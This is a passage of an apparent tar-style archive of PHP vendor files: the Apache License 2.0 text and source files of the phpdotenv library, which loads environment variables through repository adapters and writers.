true, "forward-command": true }, "branch-alias": { "dev-master": "1.9-dev" } }, "minimum-stability": "dev", "prefer-stable": true } phpoption/phpoption/LICENSE000064400000026134151676714400011632 0ustar00 Apache License Version 2.0, January 2004 http://www.apache.org/licenses/ TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 1. Definitions. "License" shall mean the terms and conditions for use, reproduction, and distribution as defined by Sections 1 through 9 of this document. "Licensor" shall mean the copyright owner or entity authorized by the copyright owner that is granting the License. "Legal Entity" shall mean the union of the acting entity and all other entities that control, are controlled by, or are under common control with that entity. For the purposes of this definition, "control" means (i) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (ii) ownership of fifty percent (50%) or more of the outstanding shares, or (iii) beneficial ownership of such entity. "You" (or "Your") shall mean an individual or Legal Entity exercising permissions granted by this License. "Source" form shall mean the preferred form for making modifications, including but not limited to software source code, documentation source, and configuration files. "Object" form shall mean any form resulting from mechanical transformation or translation of a Source form, including but not limited to compiled object code, generated documentation, and conversions to other media types. "Work" shall mean the work of authorship, whether in Source or Object form, made available under the License, as indicated by a copyright notice that is included in or attached to the work (an example is provided in the Appendix below). "Derivative Works" shall mean any work, whether in Source or Object form, that is based on (or derived from) the Work and for which the editorial revisions, annotations, elaborations, or other modifications represent, as a whole, an original work of authorship. For the purposes of this License, Derivative Works shall not include works that remain separable from, or merely link (or bind by name) to the interfaces of, the Work and Derivative Works thereof. "Contribution" shall mean any work of authorship, including the original version of the Work and any modifications or additions to that Work or Derivative Works thereof, that is intentionally submitted to Licensor for inclusion in the Work by the copyright owner or by an individual or Legal Entity authorized to submit on behalf of the copyright owner. For the purposes of this definition, "submitted" means any form of electronic, verbal, or written communication sent to the Licensor or its representatives, including but not limited to communication on electronic mailing lists, source code control systems, and issue tracking systems that are managed by, or on behalf of, the Licensor for the purpose of discussing and improving the Work, but excluding communication that is conspicuously marked or otherwise designated in writing by the copyright owner as "Not a Contribution." "Contributor" shall mean Licensor and any individual or Legal Entity on behalf of whom a Contribution has been received by Licensor and subsequently incorporated within the Work. 2. Grant of Copyright License. Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable copyright license to reproduce, prepare Derivative Works of, publicly display, publicly perform, sublicense, and distribute the Work and such Derivative Works in Source or Object form. 3. Grant of Patent License. Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable (except as stated in this section) patent license to make, have made, use, offer to sell, sell, import, and otherwise transfer the Work, where such license applies only to those patent claims licensable by such Contributor that are necessarily infringed by their Contribution(s) alone or by combination of their Contribution(s) with the Work to which such Contribution(s) was submitted. If You institute patent litigation against any entity (including a cross-claim or counterclaim in a lawsuit) alleging that the Work or a Contribution incorporated within the Work constitutes direct or contributory patent infringement, then any patent licenses granted to You under this License for that Work shall terminate as of the date such litigation is filed. 4. Redistribution. You may reproduce and distribute copies of the Work or Derivative Works thereof in any medium, with or without modifications, and in Source or Object form, provided that You meet the following conditions: (a) You must give any other recipients of the Work or Derivative Works a copy of this License; and (b) You must cause any modified files to carry prominent notices stating that You changed the files; and (c) You must retain, in the Source form of any Derivative Works that You distribute, all copyright, patent, trademark, and attribution notices from the Source form of the Work, excluding those notices that do not pertain to any part of the Derivative Works; and (d) If the Work includes a "NOTICE" text file as part of its distribution, then any Derivative Works that You distribute must include a readable copy of the attribution notices contained within such NOTICE file, excluding those notices that do not pertain to any part of the Derivative Works, in at least one of the following places: within a NOTICE text file distributed as part of the Derivative Works; within the Source form or documentation, if provided along with the Derivative Works; or, within a display generated by the Derivative Works, if and wherever such third-party notices normally appear. The contents of the NOTICE file are for informational purposes only and do not modify the License. You may add Your own attribution notices within Derivative Works that You distribute, alongside or as an addendum to the NOTICE text from the Work, provided that such additional attribution notices cannot be construed as modifying the License. You may add Your own copyright statement to Your modifications and may provide additional or different license terms and conditions for use, reproduction, or distribution of Your modifications, or for any such Derivative Works as a whole, provided Your use, reproduction, and distribution of the Work otherwise complies with the conditions stated in this License. 5. Submission of Contributions. Unless You explicitly state otherwise, any Contribution intentionally submitted for inclusion in the Work by You to the Licensor shall be under the terms and conditions of this License, without any additional terms or conditions. Notwithstanding the above, nothing herein shall supersede or modify the terms of any separate license agreement you may have executed with Licensor regarding such Contributions. 6. Trademarks. This License does not grant permission to use the trade names, trademarks, service marks, or product names of the Licensor, except as required for reasonable and customary use in describing the origin of the Work and reproducing the content of the NOTICE file. 7. Disclaimer of Warranty. Unless required by applicable law or agreed to in writing, Licensor provides the Work (and each Contributor provides its Contributions) on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied, including, without limitation, any warranties or conditions of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A PARTICULAR PURPOSE. You are solely responsible for determining the appropriateness of using or redistributing the Work and assume any risks associated with Your exercise of permissions under this License. 8. Limitation of Liability. In no event and under no legal theory, whether in tort (including negligence), contract, or otherwise, unless required by applicable law (such as deliberate and grossly negligent acts) or agreed to in writing, shall any Contributor be liable to You for damages, including any direct, indirect, special, incidental, or consequential damages of any character arising as a result of this License or out of the use or inability to use the Work (including but not limited to damages for loss of goodwill, work stoppage, computer failure or malfunction, or any and all other commercial damages or losses), even if such Contributor has been advised of the possibility of such damages. 9. Accepting Warranty or Additional Liability. While redistributing the Work or Derivative Works thereof, You may choose to offer, and charge a fee for, acceptance of support, warranty, indemnity, or other liability obligations and/or rights consistent with this License. However, in accepting such obligations, You may act only on Your own behalf and on Your sole responsibility, not on behalf of any other Contributor, and only if You agree to indemnify, defend, and hold each Contributor harmless for any liability incurred by, or claims asserted against, such Contributor by reason of your accepting any such warranty or additional liability. END OF TERMS AND CONDITIONS APPENDIX: How to apply the Apache License to your work. To apply the Apache License to your work, attach the following boilerplate notice, with the fields enclosed by brackets "[]" replaced with your own identifying information. (Don't include the brackets!) The text should be enclosed in the appropriate comment syntax for the file format. We also recommend that a file or class name and description of purpose be included on the same "printed page" as the copyright notice for easier identification within third-party archives. Copyright [yyyy] [name of copyright owner] Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License.vlucas/phpdotenv/src/Dotenv.php000064400000020102151676714400012615 0ustar00<?php declare(strict_types=1); namespace Dotenv; use Dotenv\Exception\InvalidPathException; use Dotenv\Loader\Loader; use Dotenv\Loader\LoaderInterface; use Dotenv\Parser\Parser; use Dotenv\Parser\ParserInterface; use Dotenv\Repository\Adapter\ArrayAdapter; use Dotenv\Repository\Adapter\PutenvAdapter; use Dotenv\Repository\RepositoryBuilder; use Dotenv\Repository\RepositoryInterface; use Dotenv\Store\StoreBuilder; use Dotenv\Store\StoreInterface; use Dotenv\Store\StringStore; class Dotenv { /** * The store instance. * * @var \Dotenv\Store\StoreInterface */ private $store; /** * The parser instance. * * @var \Dotenv\Parser\ParserInterface */ private $parser; /** * The loader instance. * * @var \Dotenv\Loader\LoaderInterface */ private $loader; /** * The repository instance. * * @var \Dotenv\Repository\RepositoryInterface */ private $repository; /** * Create a new dotenv instance. * * @param \Dotenv\Store\StoreInterface $store * @param \Dotenv\Parser\ParserInterface $parser * @param \Dotenv\Loader\LoaderInterface $loader * @param \Dotenv\Repository\RepositoryInterface $repository * * @return void */ public function __construct( StoreInterface $store, ParserInterface $parser, LoaderInterface $loader, RepositoryInterface $repository ) { $this->store = $store; $this->parser = $parser; $this->loader = $loader; $this->repository = $repository; } /** * Create a new dotenv instance. * * @param \Dotenv\Repository\RepositoryInterface $repository * @param string|string[] $paths * @param string|string[]|null $names * @param bool $shortCircuit * @param string|null $fileEncoding * * @return \Dotenv\Dotenv */ public static function create(RepositoryInterface $repository, $paths, $names = null, bool $shortCircuit = true, string $fileEncoding = null) { $builder = $names === null ? StoreBuilder::createWithDefaultName() : StoreBuilder::createWithNoNames(); foreach ((array) $paths as $path) { $builder = $builder->addPath($path); } foreach ((array) $names as $name) { $builder = $builder->addName($name); } if ($shortCircuit) { $builder = $builder->shortCircuit(); } return new self($builder->fileEncoding($fileEncoding)->make(), new Parser(), new Loader(), $repository); } /** * Create a new mutable dotenv instance with default repository. * * @param string|string[] $paths * @param string|string[]|null $names * @param bool $shortCircuit * @param string|null $fileEncoding * * @return \Dotenv\Dotenv */ public static function createMutable($paths, $names = null, bool $shortCircuit = true, string $fileEncoding = null) { $repository = RepositoryBuilder::createWithDefaultAdapters()->make(); return self::create($repository, $paths, $names, $shortCircuit, $fileEncoding); } /** * Create a new mutable dotenv instance with default repository with the putenv adapter. * * @param string|string[] $paths * @param string|string[]|null $names * @param bool $shortCircuit * @param string|null $fileEncoding * * @return \Dotenv\Dotenv */ public static function createUnsafeMutable($paths, $names = null, bool $shortCircuit = true, string $fileEncoding = null) { $repository = RepositoryBuilder::createWithDefaultAdapters() ->addAdapter(PutenvAdapter::class) ->make(); return self::create($repository, $paths, $names, $shortCircuit, $fileEncoding); } /** * Create a new immutable dotenv instance with default repository. * * @param string|string[] $paths * @param string|string[]|null $names * @param bool $shortCircuit * @param string|null $fileEncoding * * @return \Dotenv\Dotenv */ public static function createImmutable($paths, $names = null, bool $shortCircuit = true, string $fileEncoding = null) { $repository = RepositoryBuilder::createWithDefaultAdapters()->immutable()->make(); return self::create($repository, $paths, $names, $shortCircuit, $fileEncoding); } /** * Create a new immutable dotenv instance with default repository with the putenv adapter. * * @param string|string[] $paths * @param string|string[]|null $names * @param bool $shortCircuit * @param string|null $fileEncoding * * @return \Dotenv\Dotenv */ public static function createUnsafeImmutable($paths, $names = null, bool $shortCircuit = true, string $fileEncoding = null) { $repository = RepositoryBuilder::createWithDefaultAdapters() ->addAdapter(PutenvAdapter::class) ->immutable() ->make(); return self::create($repository, $paths, $names, $shortCircuit, $fileEncoding); } /** * Create a new dotenv instance with an array backed repository. * * @param string|string[] $paths * @param string|string[]|null $names * @param bool $shortCircuit * @param string|null $fileEncoding * * @return \Dotenv\Dotenv */ public static function createArrayBacked($paths, $names = null, bool $shortCircuit = true, string $fileEncoding = null) { $repository = RepositoryBuilder::createWithNoAdapters()->addAdapter(ArrayAdapter::class)->make(); return self::create($repository, $paths, $names, $shortCircuit, $fileEncoding); } /** * Parse the given content and resolve nested variables. * * This method behaves just like load(), only without mutating your actual * environment. We do this by using an array backed repository. * * @param string $content * * @throws \Dotenv\Exception\InvalidFileException * * @return array<string,string|null> */ public static function parse(string $content) { $repository = RepositoryBuilder::createWithNoAdapters()->addAdapter(ArrayAdapter::class)->make(); $phpdotenv = new self(new StringStore($content), new Parser(), new Loader(), $repository); return $phpdotenv->load(); } /** * Read and load environment file(s). * * @throws \Dotenv\Exception\InvalidPathException|\Dotenv\Exception\InvalidEncodingException|\Dotenv\Exception\InvalidFileException * * @return array<string,string|null> */ public function load() { $entries = $this->parser->parse($this->store->read()); return $this->loader->load($this->repository, $entries); } /** * Read and load environment file(s), silently failing if no files can be read. * * @throws \Dotenv\Exception\InvalidEncodingException|\Dotenv\Exception\InvalidFileException * * @return array<string,string|null> */ public function safeLoad() { try { return $this->load(); } catch (InvalidPathException $e) { // suppressing exception return []; } } /** * Required ensures that the specified variables exist, and returns a new validator object. * * @param string|string[] $variables * * @return \Dotenv\Validator */ public function required($variables) { return (new Validator($this->repository, (array) $variables))->required(); } /** * Returns a new validator object that won't check if the specified variables exist. * * @param string|string[] $variables * * @return \Dotenv\Validator */ public function ifPresent($variables) { return new Validator($this->repository, (array) $variables); } } vlucas/phpdotenv/src/Repository/AdapterRepository.php000064400000004532151676714400017226 0ustar00<?php declare(strict_types=1); namespace Dotenv\Repository; use Dotenv\Repository\Adapter\ReaderInterface; use Dotenv\Repository\Adapter\WriterInterface; use InvalidArgumentException; final class AdapterRepository implements RepositoryInterface { /** * The reader to use. * * @var \Dotenv\Repository\Adapter\ReaderInterface */ private $reader; /** * The writer to use. * * @var \Dotenv\Repository\Adapter\WriterInterface */ private $writer; /** * Create a new adapter repository instance. * * @param \Dotenv\Repository\Adapter\ReaderInterface $reader * @param \Dotenv\Repository\Adapter\WriterInterface $writer * * @return void */ public function __construct(ReaderInterface $reader, WriterInterface $writer) { $this->reader = $reader; $this->writer = $writer; } /** * Determine if the given environment variable is defined. * * @param string $name * * @return bool */ public function has(string $name) { return '' !== $name && $this->reader->read($name)->isDefined(); } /** * Get an environment variable. * * @param string $name * * @throws \InvalidArgumentException * * @return string|null */ public function get(string $name) { if ('' === $name) { throw new InvalidArgumentException('Expected name to be a non-empty string.'); } return $this->reader->read($name)->getOrElse(null); } /** * Set an environment variable. * * @param string $name * @param string $value * * @throws \InvalidArgumentException * * @return bool */ public function set(string $name, string $value) { if ('' === $name) { throw new InvalidArgumentException('Expected name to be a non-empty string.'); } return $this->writer->write($name, $value); } /** * Clear an environment variable. * * @param string $name * * @throws \InvalidArgumentException * * @return bool */ public function clear(string $name) { if ('' === $name) { throw new InvalidArgumentException('Expected name to be a non-empty string.'); } return $this->writer->delete($name); } } vlucas/phpdotenv/src/Repository/RepositoryBuilder.php000064400000020031151676714400017224 0ustar00<?php declare(strict_types=1); namespace Dotenv\Repository; use Dotenv\Repository\Adapter\AdapterInterface; use Dotenv\Repository\Adapter\EnvConstAdapter; use Dotenv\Repository\Adapter\GuardedWriter; use Dotenv\Repository\Adapter\ImmutableWriter; use Dotenv\Repository\Adapter\MultiReader; use Dotenv\Repository\Adapter\MultiWriter; use Dotenv\Repository\Adapter\ReaderInterface; use Dotenv\Repository\Adapter\ServerConstAdapter; use Dotenv\Repository\Adapter\WriterInterface; use InvalidArgumentException; use PhpOption\Some; use ReflectionClass; final class RepositoryBuilder { /** * The set of default adapters. */ private const DEFAULT_ADAPTERS = [ ServerConstAdapter::class, EnvConstAdapter::class, ]; /** * The set of readers to use. * * @var \Dotenv\Repository\Adapter\ReaderInterface[] */ private $readers; /** * The set of writers to use. * * @var \Dotenv\Repository\Adapter\WriterInterface[] */ private $writers; /** * Are we immutable? * * @var bool */ private $immutable; /** * The variable name allow list. * * @var string[]|null */ private $allowList; /** * Create a new repository builder instance. * * @param \Dotenv\Repository\Adapter\ReaderInterface[] $readers * @param \Dotenv\Repository\Adapter\WriterInterface[] $writers * @param bool $immutable * @param string[]|null $allowList * * @return void */ private function __construct(array $readers = [], array $writers = [], bool $immutable = false, array $allowList = null) { $this->readers = $readers; $this->writers = $writers; $this->immutable = $immutable; $this->allowList = $allowList; } /** * Create a new repository builder instance with no adapters added. * * @return \Dotenv\Repository\RepositoryBuilder */ public static function createWithNoAdapters() { return new self(); } /** * Create a new repository builder instance with the default adapters added. * * @return \Dotenv\Repository\RepositoryBuilder */ public static function createWithDefaultAdapters() { $adapters = \iterator_to_array(self::defaultAdapters()); return new self($adapters, $adapters); } /** * Return the array of default adapters. * * @return \Generator<\Dotenv\Repository\Adapter\AdapterInterface> */ private static function defaultAdapters() { foreach (self::DEFAULT_ADAPTERS as $adapter) { $instance = $adapter::create(); if ($instance->isDefined()) { yield $instance->get(); } } } /** * Determine if the given name if of an adapterclass. * * @param string $name * * @return bool */ private static function isAnAdapterClass(string $name) { if (!\class_exists($name)) { return false; } return (new ReflectionClass($name))->implementsInterface(AdapterInterface::class); } /** * Creates a repository builder with the given reader added. * * Accepts either a reader instance, or a class-string for an adapter. If * the adapter is not supported, then we silently skip adding it. * * @param \Dotenv\Repository\Adapter\ReaderInterface|string $reader * * @throws \InvalidArgumentException * * @return \Dotenv\Repository\RepositoryBuilder */ public function addReader($reader) { if (!(\is_string($reader) && self::isAnAdapterClass($reader)) && !($reader instanceof ReaderInterface)) { throw new InvalidArgumentException( \sprintf( 'Expected either an instance of %s or a class-string implementing %s', ReaderInterface::class, AdapterInterface::class ) ); } $optional = Some::create($reader)->flatMap(static function ($reader) { return \is_string($reader) ? $reader::create() : Some::create($reader); }); $readers = \array_merge($this->readers, \iterator_to_array($optional)); return new self($readers, $this->writers, $this->immutable, $this->allowList); } /** * Creates a repository builder with the given writer added. * * Accepts either a writer instance, or a class-string for an adapter. If * the adapter is not supported, then we silently skip adding it. * * @param \Dotenv\Repository\Adapter\WriterInterface|string $writer * * @throws \InvalidArgumentException * * @return \Dotenv\Repository\RepositoryBuilder */ public function addWriter($writer) { if (!(\is_string($writer) && self::isAnAdapterClass($writer)) && !($writer instanceof WriterInterface)) { throw new InvalidArgumentException( \sprintf( 'Expected either an instance of %s or a class-string implementing %s', WriterInterface::class, AdapterInterface::class ) ); } $optional = Some::create($writer)->flatMap(static function ($writer) { return \is_string($writer) ? $writer::create() : Some::create($writer); }); $writers = \array_merge($this->writers, \iterator_to_array($optional)); return new self($this->readers, $writers, $this->immutable, $this->allowList); } /** * Creates a repository builder with the given adapter added. * * Accepts either an adapter instance, or a class-string for an adapter. If * the adapter is not supported, then we silently skip adding it. We will * add the adapter as both a reader and a writer. * * @param \Dotenv\Repository\Adapter\WriterInterface|string $adapter * * @throws \InvalidArgumentException * * @return \Dotenv\Repository\RepositoryBuilder */ public function addAdapter($adapter) { if (!(\is_string($adapter) && self::isAnAdapterClass($adapter)) && !($adapter instanceof AdapterInterface)) { throw new InvalidArgumentException( \sprintf( 'Expected either an instance of %s or a class-string implementing %s', WriterInterface::class, AdapterInterface::class ) ); } $optional = Some::create($adapter)->flatMap(static function ($adapter) { return \is_string($adapter) ? $adapter::create() : Some::create($adapter); }); $readers = \array_merge($this->readers, \iterator_to_array($optional)); $writers = \array_merge($this->writers, \iterator_to_array($optional)); return new self($readers, $writers, $this->immutable, $this->allowList); } /** * Creates a repository builder with mutability enabled. * * @return \Dotenv\Repository\RepositoryBuilder */ public function immutable() { return new self($this->readers, $this->writers, true, $this->allowList); } /** * Creates a repository builder with the given allow list. * * @param string[]|null $allowList * * @return \Dotenv\Repository\RepositoryBuilder */ public function allowList(array $allowList = null) { return new self($this->readers, $this->writers, $this->immutable, $allowList); } /** * Creates a new repository instance. * * @return \Dotenv\Repository\RepositoryInterface */ public function make() { $reader = new MultiReader($this->readers); $writer = new MultiWriter($this->writers); if ($this->immutable) { $writer = new ImmutableWriter($writer, $reader); } if ($this->allowList !== null) { $writer = new GuardedWriter($writer, $this->allowList); } return new AdapterRepository($reader, $writer); } } vlucas/phpdotenv/src/Repository/RepositoryInterface.php000064400000001645151676714400017550 0ustar00<?php declare(strict_types=1); namespace Dotenv\Repository; interface RepositoryInterface { /** * Determine if the given environment variable is defined. * * @param string $name * * @return bool */ public function has(string $name); /** * Get an environment variable. * * @param string $name * * @throws \InvalidArgumentException * * @return string|null */ public function get(string $name); /** * Set an environment variable. * * @param string $name * @param string $value * * @throws \InvalidArgumentException * * @return bool */ public function set(string $name, string $value); /** * Clear an environment variable. * * @param string $name * * @throws \InvalidArgumentException * * @return bool */ public function clear(string $name); } vlucas/phpdotenv/src/Repository/Adapter/GuardedWriter.php000064400000003523151676714400017675 0ustar00<?php declare(strict_types=1); namespace Dotenv\Repository\Adapter; final class GuardedWriter implements WriterInterface { /** * The inner writer to use. * * @var \Dotenv\Repository\Adapter\WriterInterface */ private $writer; /** * The variable name allow list. * * @var string[] */ private $allowList; /** * Create a new guarded writer instance. * * @param \Dotenv\Repository\Adapter\WriterInterface $writer * @param string[] $allowList * * @return void */ public function __construct(WriterInterface $writer, array $allowList) { $this->writer = $writer; $this->allowList = $allowList; } /** * Write to an environment variable, if possible. * * @param non-empty-string $name * @param string $value * * @return bool */ public function write(string $name, string $value) { // Don't set non-allowed variables if (!$this->isAllowed($name)) { return false; } // Set the value on the inner writer return $this->writer->write($name, $value); } /** * Delete an environment variable, if possible. * * @param non-empty-string $name * * @return bool */ public function delete(string $name) { // Don't clear non-allowed variables if (!$this->isAllowed($name)) { return false; } // Set the value on the inner writer return $this->writer->delete($name); } /** * Determine if the given variable is allowed. * * @param non-empty-string $name * * @return bool */ private function isAllowed(string $name) { return \in_array($name, $this->allowList, true); } } vlucas/phpdotenv/src/Repository/Adapter/MultiReader.php000064400000001711151676714400017337 0ustar00<?php declare(strict_types=1); namespace Dotenv\Repository\Adapter; use PhpOption\None; final class MultiReader implements ReaderInterface { /** * The set of readers to use. * * @var \Dotenv\Repository\Adapter\ReaderInterface[] */ private $readers; /** * Create a new multi-reader instance. * * @param \Dotenv\Repository\Adapter\ReaderInterface[] $readers * * @return void */ public function __construct(array $readers) { $this->readers = $readers; } /** * Read an environment variable, if it exists. * * @param non-empty-string $name * * @return \PhpOption\Option<string> */ public function read(string $name) { foreach ($this->readers as $reader) { $result = $reader->read($name); if ($result->isDefined()) { return $result; } } return None::create(); } } vlucas/phpdotenv/src/Repository/Adapter/MultiWriter.php000064400000002424151676714400017413 0ustar00<?php declare(strict_types=1); namespace Dotenv\Repository\Adapter; final class MultiWriter implements WriterInterface { /** * The set of writers to use. * * @var \Dotenv\Repository\Adapter\WriterInterface[] */ private $writers; /** * Create a new multi-writer instance. * * @param \Dotenv\Repository\Adapter\WriterInterface[] $writers * * @return void */ public function __construct(array $writers) { $this->writers = $writers; } /** * Write to an environment variable, if possible. * * @param non-empty-string $name * @param string $value * * @return bool */ public function write(string $name, string $value) { foreach ($this->writers as $writers) { if (!$writers->write($name, $value)) { return false; } } return true; } /** * Delete an environment variable, if possible. * * @param non-empty-string $name * * @return bool */ public function delete(string $name) { foreach ($this->writers as $writers) { if (!$writers->delete($name)) { return false; } } return true; } } vlucas/phpdotenv/src/Repository/Adapter/ServerConstAdapter.php000064400000003646151676714400020711 0ustar00<?php declare(strict_types=1); namespace Dotenv\Repository\Adapter; use PhpOption\Option; use PhpOption\Some; final class ServerConstAdapter implements AdapterInterface { /** * Create a new server const adapter instance. * * @return void */ private function __construct() { // } /** * Create a new instance of the adapter, if it is available. * * @return \PhpOption\Option<\Dotenv\Repository\Adapter\AdapterInterface> */ public static function create() { /** @var \PhpOption\Option<AdapterInterface> */ return Some::create(new self()); } /** * Read an environment variable, if it exists. * * @param non-empty-string $name * * @return \PhpOption\Option<string> */ public function read(string $name) { /** @var \PhpOption\Option<string> */ return Option::fromArraysValue($_SERVER, $name) ->filter(static function ($value) { return \is_scalar($value); }) ->map(static function ($value) { if ($value === false) { return 'false'; } if ($value === true) { return 'true'; } /** @psalm-suppress PossiblyInvalidCast */ return (string) $value; }); } /** * Write to an environment variable, if possible. * * @param non-empty-string $name * @param string $value * * @return bool */ public function write(string $name, string $value) { $_SERVER[$name] = $value; return true; } /** * Delete an environment variable, if possible. * * @param non-empty-string $name * * @return bool */ public function delete(string $name) { unset($_SERVER[$name]); return true; } } vlucas/phpdotenv/src/Repository/Adapter/EnvConstAdapter.php000064400000003627151676714400020172 0ustar00<?php declare(strict_types=1); namespace Dotenv\Repository\Adapter; use PhpOption\Option; use PhpOption\Some; final class EnvConstAdapter implements AdapterInterface { /** * Create a new env const adapter instance. * * @return void */ private function __construct() { // } /** * Create a new instance of the adapter, if it is available. * * @return \PhpOption\Option<\Dotenv\Repository\Adapter\AdapterInterface> */ public static function create() { /** @var \PhpOption\Option<AdapterInterface> */ return Some::create(new self()); } /** * Read an environment variable, if it exists. * * @param non-empty-string $name * * @return \PhpOption\Option<string> */ public function read(string $name) { /** @var \PhpOption\Option<string> */ return Option::fromArraysValue($_ENV, $name) ->filter(static function ($value) { return \is_scalar($value); }) ->map(static function ($value) { if ($value === false) { return 'false'; } if ($value === true) { return 'true'; } /** @psalm-suppress PossiblyInvalidCast */ return (string) $value; }); } /** * Write to an environment variable, if possible. * * @param non-empty-string $name * @param string $value * * @return bool */ public function write(string $name, string $value) { $_ENV[$name] = $value; return true; } /** * Delete an environment variable, if possible. * * @param non-empty-string $name * * @return bool */ public function delete(string $name) { unset($_ENV[$name]); return true; } } vlucas/phpdotenv/src/Repository/Adapter/ReaderInterface.php000064400000000454151676714400020150 0ustar00<?php declare(strict_types=1); namespace Dotenv\Repository\Adapter; interface ReaderInterface { /** * Read an environment variable, if it exists. * * @param non-empty-string $name * * @return \PhpOption\Option<string> */ public function read(string $name); } vlucas/phpdotenv/src/Repository/Adapter/PutenvAdapter.php000064400000003545151676714400017713 0ustar00<?php declare(strict_types=1); namespace Dotenv\Repository\Adapter; use PhpOption\None; use PhpOption\Option; use PhpOption\Some; final class PutenvAdapter implements AdapterInterface { /** * Create a new putenv adapter instance. * * @return void */ private function __construct() { // } /** * Create a new instance of the adapter, if it is available. * * @return \PhpOption\Option<\Dotenv\Repository\Adapter\AdapterInterface> */ public static function create() { if (self::isSupported()) { /** @var \PhpOption\Option<AdapterInterface> */ return Some::create(new self()); } return None::create(); } /** * Determines if the adapter is supported. * * @return bool */ private static function isSupported() { return \function_exists('getenv') && \function_exists('putenv'); } /** * Read an environment variable, if it exists. * * @param non-empty-string $name * * @return \PhpOption\Option<string> */ public function read(string $name) { /** @var \PhpOption\Option<string> */ return Option::fromValue(\getenv($name), false)->filter(static function ($value) { return \is_string($value); }); } /** * Write to an environment variable, if possible. * * @param non-empty-string $name * @param string $value * * @return bool */ public function write(string $name, string $value) { \putenv("$name=$value"); return true; } /** * Delete an environment variable, if possible. * * @param non-empty-string $name * * @return bool */ public function delete(string $name) { \putenv($name); return true; } } vlucas/phpdotenv/src/Repository/Adapter/ArrayAdapter.php000064400000003112151676714400017476 0ustar00<?php declare(strict_types=1); namespace Dotenv\Repository\Adapter; use PhpOption\Option; use PhpOption\Some; final class ArrayAdapter implements AdapterInterface { /** * The variables and their values. * * @var array<string,string> */ private $variables; /** * Create a new array adapter instance. * * @return void */ private function __construct() { $this->variables = []; } /** * Create a new instance of the adapter, if it is available. * * @return \PhpOption\Option<\Dotenv\Repository\Adapter\AdapterInterface> */ public static function create() { /** @var \PhpOption\Option<AdapterInterface> */ return Some::create(new self()); } /** * Read an environment variable, if it exists. * * @param non-empty-string $name * * @return \PhpOption\Option<string> */ public function read(string $name) { return Option::fromArraysValue($this->variables, $name); } /** * Write to an environment variable, if possible. * * @param non-empty-string $name * @param string $value * * @return bool */ public function write(string $name, string $value) { $this->variables[$name] = $value; return true; } /** * Delete an environment variable, if possible. * * @param non-empty-string $name * * @return bool */ public function delete(string $name) { unset($this->variables[$name]); return true; } } vlucas/phpdotenv/src/Repository/Adapter/WriterInterface.php000064400000001006151676714400020214 0ustar00<?php declare(strict_types=1); namespace Dotenv\Repository\Adapter; interface WriterInterface { /** * Write to an environment variable, if possible. * * @param non-empty-string $name * @param string $value * * @return bool */ public function write(string $name, string $value); /** * Delete an environment variable, if possible. * * @param non-empty-string $name * * @return bool */ public function delete(string $name); } vlucas/phpdotenv/src/Repository/Adapter/ApacheAdapter.php000064400000003666151676714400017617 0ustar00<?php declare(strict_types=1); namespace Dotenv\Repository\Adapter; use PhpOption\None; use PhpOption\Option; use PhpOption\Some; final class ApacheAdapter implements AdapterInterface { /** * Create a new apache adapter instance. * * @return void */ private function __construct() { // } /** * Create a new instance of the adapter, if it is available. * * @return \PhpOption\Option<\Dotenv\Repository\Adapter\AdapterInterface> */ public static function create() { if (self::isSupported()) { /** @var \PhpOption\Option<AdapterInterface> */ return Some::create(new self()); } return None::create(); } /** * Determines if the adapter is supported. * * This happens if PHP is running as an Apache module. * * @return bool */ private static function isSupported() { return \function_exists('apache_getenv') && \function_exists('apache_setenv'); } /** * Read an environment variable, if it exists. * * @param non-empty-string $name * * @return \PhpOption\Option<string> */ public function read(string $name) { /** @var \PhpOption\Option<string> */ return Option::fromValue(apache_getenv($name))->filter(static function ($value) { return \is_string($value) && $value !== ''; }); } /** * Write to an environment variable, if possible. * * @param non-empty-string $name * @param string $value * * @return bool */ public function write(string $name, string $value) { return apache_setenv($name, $value); } /** * Delete an environment variable, if possible. * * @param non-empty-string $name * * @return bool */ public function delete(string $name) { return apache_setenv($name, ''); } } vlucas/phpdotenv/src/Repository/Adapter/ReplacingWriter.php000064400000004243151676714400020226 0ustar00<?php declare(strict_types=1); namespace Dotenv\Repository\Adapter; final class ReplacingWriter implements WriterInterface { /** * The inner writer to use. * * @var \Dotenv\Repository\Adapter\WriterInterface */ private $writer; /** * The inner reader to use. * * @var \Dotenv\Repository\Adapter\ReaderInterface */ private $reader; /** * The record of seen variables. * * @var array<string,string> */ private $seen; /** * Create a new replacement writer instance. * * @param \Dotenv\Repository\Adapter\WriterInterface $writer * @param \Dotenv\Repository\Adapter\ReaderInterface $reader * * @return void */ public function __construct(WriterInterface $writer, ReaderInterface $reader) { $this->writer = $writer; $this->reader = $reader; $this->seen = []; } /** * Write to an environment variable, if possible. * * @param non-empty-string $name * @param string $value * * @return bool */ public function write(string $name, string $value) { if ($this->exists($name)) { return $this->writer->write($name, $value); } // succeed if nothing to do return true; } /** * Delete an environment variable, if possible. * * @param non-empty-string $name * * @return bool */ public function delete(string $name) { if ($this->exists($name)) { return $this->writer->delete($name); } // succeed if nothing to do return true; } /** * Does the given environment variable exist. * * Returns true if it currently exists, or existed at any point in the past * that we are aware of. * * @param non-empty-string $name * * @return bool */ private function exists(string $name) { if (isset($this->seen[$name])) { return true; } if ($this->reader->read($name)->isDefined()) { $this->seen[$name] = ''; return true; } return false; } } vlucas/phpdotenv/src/Repository/Adapter/ImmutableWriter.php000064400000004756151676714400020252 0ustar00<?php declare(strict_types=1); namespace Dotenv\Repository\Adapter; final class ImmutableWriter implements WriterInterface { /** * The inner writer to use. * * @var \Dotenv\Repository\Adapter\WriterInterface */ private $writer; /** * The inner reader to use. * * @var \Dotenv\Repository\Adapter\ReaderInterface */ private $reader; /** * The record of loaded variables. * * @var array<string,string> */ private $loaded; /** * Create a new immutable writer instance. * * @param 